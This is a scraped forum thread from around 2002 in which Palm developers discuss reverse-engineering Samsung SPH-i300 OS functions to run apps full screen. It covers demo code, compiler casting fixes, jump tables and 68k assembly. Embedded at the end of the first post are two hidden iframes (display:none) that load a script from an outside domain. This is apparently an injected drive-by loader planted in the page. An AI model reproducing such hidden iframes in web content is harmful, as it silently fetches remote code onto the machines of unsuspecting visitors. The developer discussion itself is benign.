It appears you have not yet registered with our community. To register please click here...

 
 
         
 
     
QuickLinks
  
Home of the Converged PDA - Phone    
 
Go Back  PDAPhoneHome.com > Palm PDAPhones > Palm PDAPhones - Other Models > Samsung SPH-i300 > Updated Full Screen Demo Code

Reply
 
PDAPhoneHome  
 
Old 02-10-2002, 11:36 AM
     
  #1 (permalink)  
Guru
Join Date: 01-21-2002
Posts: 230
 

Updated Full Screen Demo Code

Watch this thread for a new set of full screen source code.

I found another function that I wasn't calling when I should have: EvtEnableExtAppAreaBottom.

This function is necssary for the application to be able to "gain control" of the area that used to be occupied by the grafitti area.

If you call all three functions (the two in the previous example, and this one) apps like TealDoc actually work (almost) full screen.

Code coming later today.

Jake<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
 
The Jake is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-10-2002, 01:28 PM
     
  #2 (permalink)  
Guru
Join Date: 01-21-2002
Posts: 230
 

Here it is. By using the new Evt call rather than the old one, we free the area for use by the application.

Enjoy.

Jake
Attached Files
File Type: zip i300demo-src-v2.zip (4.5 KB, 115 views)
 
The Jake is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-11-2002, 12:03 PM
     
  #3 (permalink)  
Converged
Join Date: 01-13-2002
Posts: 63
  Send a message via AIM to plaiming

hey jake, i've got a question about this one.
What if the code is setup such that you can remove
and redraw the grafitti pad with the press of one of the
buttons. (lets say appointment for rightees and memo for
lefties) Basically when you press the button the app is called
and it just does calls the reverse function of what it did
previously. If you do this, will normal, run of the mill applications
be able to take advantage of the full screen?

-paul

p.s. did you get my skins.prc update
Attached Thumbnails
updated-full-screen-demo-code-rush.jpg  
 
plaiming is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Sponsored Links
Old 02-13-2002, 09:25 PM
     
  #4 (permalink)  
Newly Converged
Join Date: 02-13-2002
Location: Palo Alto CA
Posts: 5
  Send a message via AIM to mathenshall

Great work Jake.... A couple of questions...

Jake,

First this is exceptional work Thanks for doing this. I am, like everyone else (well may 6 or 7 individuals ) just itching to get going writing cool apps for the i300.

So, I am a previously experienced developer in C/C++ and Java, but new to Palm OS and havn't touched C in anger for around 4 years (wow, has it been that long ago).

So the questions/comments below could be niave or frankly just my old memory playing tricks. Please forgive, master.

1) General.

From various postings and samples I see around, I thought the way to direct access OS functions was via a jump table?

See 'HackMaster' stuff for a general view. How you have dis-assembled the code resources is ingenious and looks like a good way of discovering the function signatures (if you are literate in 68 ASM and know how the likely compilers deal with parameter passing on the stack etc.. Unfortunatly I am VERY rusty on that side (also to my shame, when I last looked at assembler, it was Intel 8080)).

I think there are some source code around for some of the 'hacks' that give enough details... I will look into it a bit more tommorrow.

But shouldn't we be then looking at the jump table to find out where these routines should be called from?

Does anyone know how to 'read' the jump table? and then interpret it?

2) on your sample:-

Hmm I tried compiling under MetroWerks Code Warrior I am getting a 'Type error' on the lines that try and apply an offset to the MemPtr

....

initp=ptr_to_res+0x16C;

Now this could be that I am so rusty in C, I just can't remember the rules for void * manipulation and casting it to a function pointer - I presume that CodeWarrior's compiler is stricter than the GNU.

I tried a couple of nasty work arounds that eventually compiled. But when executed on the i300 cause a fatal error requireng the reset. I presume that my inelegant hacking with casting caused the resulting pointer to point to outerspace or somewhere


Thoughts? Comments?
 
mathenshall is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-13-2002, 09:49 PM
     
  #5 (permalink)  
Guru
Join Date: 01-21-2002
Posts: 230
 

You make a valid point about the jump table. There are jump tables in fact... phExtnFillEntriesTable seems to build said jump table...

However, I really don't feel like reverse engineering it. It seems to load the array onto the stack at -88(A6) and then writes it to the whatever area you have loaded into the A2 address register. A2 is set by a parameter you pass to the function

PEA $0058.W
PEA -88(A6)
CLR.L -(A7)
MOVE.L (A2),-(A7)
sysTrapDmWrite

So, phExtnFillEntryTable seems to be:
phExtnFillEntryTable(MemPtr jmptable)

However, how do you call phExtnFillEntryTable? The only way I can think of is to get a pointer to the function and execute it.

I think the real problem is that there are ways to access the functions in an 'extn' resource (similar to libr resources and SysLoadLibrary). However, we're not given anything about extn resources, so we kinda have to make it up as we go.

Anyway, if you have any better ideas, I'm willing to hear them.

As for your type errors, I really don't know. It seems like my sample code is valid C (or valid C as far as GCC is concerned...) Never used metrowerks, so can't really help you. Sorry....

Jake
 
The Jake is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-14-2002, 12:02 AM
     
  #6 (permalink)  
Newly Converged
Join Date: 02-13-2002
Location: Palo Alto CA
Posts: 5
  Send a message via AIM to mathenshall

Jake... you are a genius...

Maybe the complete fawning on your vanity is wearing thin... But I was just following some of the earlier styles of posting.

Enough already.

OK. Got your source to compile under Code Warrior. And it RUNS!!! Yipee. Hence the proof that you may be blessed in the intellect deptartment (or very very sad - why arn't you out partying? Come to that, why arn't I?).

Will add change required and why at end of post...

So... Sys Traps, Jump Tables etc...

I will spend copious amounts of time tonight and tommorrw researching the whole thing... but here are my thoughts...

It would seem that the entire OS philosophy is to make the OS accesible only through the jump table... (like the old DOS i seem to remember) all in all a sensible approach. Given that PalmOS is non pre-emptive 'multi-tasking', you are guaranteed that the the address returned from SysGetTrapAddress will be stable during the course of handling an event. But the adress could be relocated during another event (hence you choosing to 'lock the memory').

I would expect that OEM extensions (see VFS in coretypes.h) should follow the same pattern.

Therefore, I would expect Samsung to of already loaded the jump table into memory. Quite how, or when I don't know yet....

The question is... how do we get the address, and how do we then invoke it safely.... hmmmmm... I will try to find more out.

Oh the problem in your source code for the CW compiler is it doesn't like doing pointer arithmatic on void * (which is what a MemPtr is Typedef'd as). It can't decide what size of object the void * is, so doesn't know how to calculate the address. I think this is correct C. It has been a long time, but I remember all of this before... vague images in my long term memory... long nights... Fatal erros... ahhhh....

So you have to explicitly tell it that you want to treat the MemPtr as a char * for it to correctly calculate the offset. Really I should be more specific in this code and declare the precise type that you are counting the offset for.... if that makes any sense...
 
mathenshall is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-14-2002, 02:38 AM
     
  #7 (permalink)  
i300 User
Join Date: 12-20-2001
Location: Dallas, Texas USA
Posts: 115
  Send a message via AIM to Glen Fountain

You obviously require very little sleep, eh, Jake?

gf
 
Glen Fountain is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-14-2002, 01:22 PM
     
  #8 (permalink)  
Guru
Join Date: 01-21-2002
Posts: 230
 

Glen, I think the time is screwy for some reason. I think I wrote that at a reasonable hour.

Mathenshall,

Re: the jump table and the sysTraps...

http://www.sphi300.com/showthread.php?s=&threadid=848

The problem, if I recall, is that almost everything interesting is lumped under one trap (DispatchPhoenixTrap) I haven't been able to figure out how this function works, cause it does some odd things with the stack pointer... I don't know what's really going on.

Anyway, I haven't really explored all the traps... Here's an idea: write a program that loops through all possible traps (for x=0 to 0xFFFF) and plugs it into the get trap address function. Then check to see if it points to the same spot as a function of interest. If it does, print out the systrap number.

I'm too lazy to write this, and I'm skeptical that it will work. Knock yourself out if you want.

Dunno what your assembly skills are like. Mine were so-so at best, until I really got into the i300. Scroll down in the devboard and look for a thread called "Required reading" to find a really good reference/intro.

Anyhow, back to lunch.

Jake
 
The Jake is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 02-14-2002, 03:38 PM
     
  #9 (permalink)  
Newly Converged
Join Date: 02-13-2002
Location: Palo Alto CA
Posts: 5
  Send a message via AIM to mathenshall

thanks Jake

Assembly skills are rustier than a very rusty nail. Plus only ever worked in Intel architectures.

Don't know how I missed your 'required reading' thread... Would of saved me some time yesterday poking around in things I don't know anything about.

I have enough with what you have given so far to move to the next stage in my project. Will be revisiting the whole Systrap, Pheonix stuff in two weeks. If I find anything of interest then or in the meantime will let you know.

Incidently, I believe the CodeWarrior debugger will allow you to debug the device via the serial connection - about to shell out the cash to upgrade my demo version to enable this facility. May be a good way of really getting to know what is going on.

later.

Mat
 
mathenshall is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 03-13-2002, 03:49 PM
     
  #10 (permalink)  
Newly Converged
Join Date: 03-13-2002
Posts: 2
 

Lightbulb Very interesting...

THE JAKE:

We'll be looking into this -- in the meantime, it could help to be in direct contact with you.
Can you fire off an email to me?

Mike
__________________
--
Michael Compeau
VP Business Dev't & Planning
Cutting Edge Software, Inc.
www.quickoffice.com

Quickoffice : The "Best Office Suite" for PalmOS
~Handheld Computing, Feb 2002
Lightbulb
Lightbulb
Lightbulb
Lightbulb
 
QuickofficeGuy is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Reply


Thread Tools
Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Login Panel
Enter your username and password to login:


Advertisements



PDA and Smartphone Repair & Parts

Cellular Phone Parts and Accessories



PDAPhone Chargers and Screen Protectors

Where Photographers Meet

Please Help By Taking Our Survey!





Our Friends





All times are GMT -5. The time now is 12:52 PM.

               
 
Design by VBSz   |  Hosting by PWH   |  
Copyright © 2002-2007, Convergent Minds, LLC - All Rights Reserved.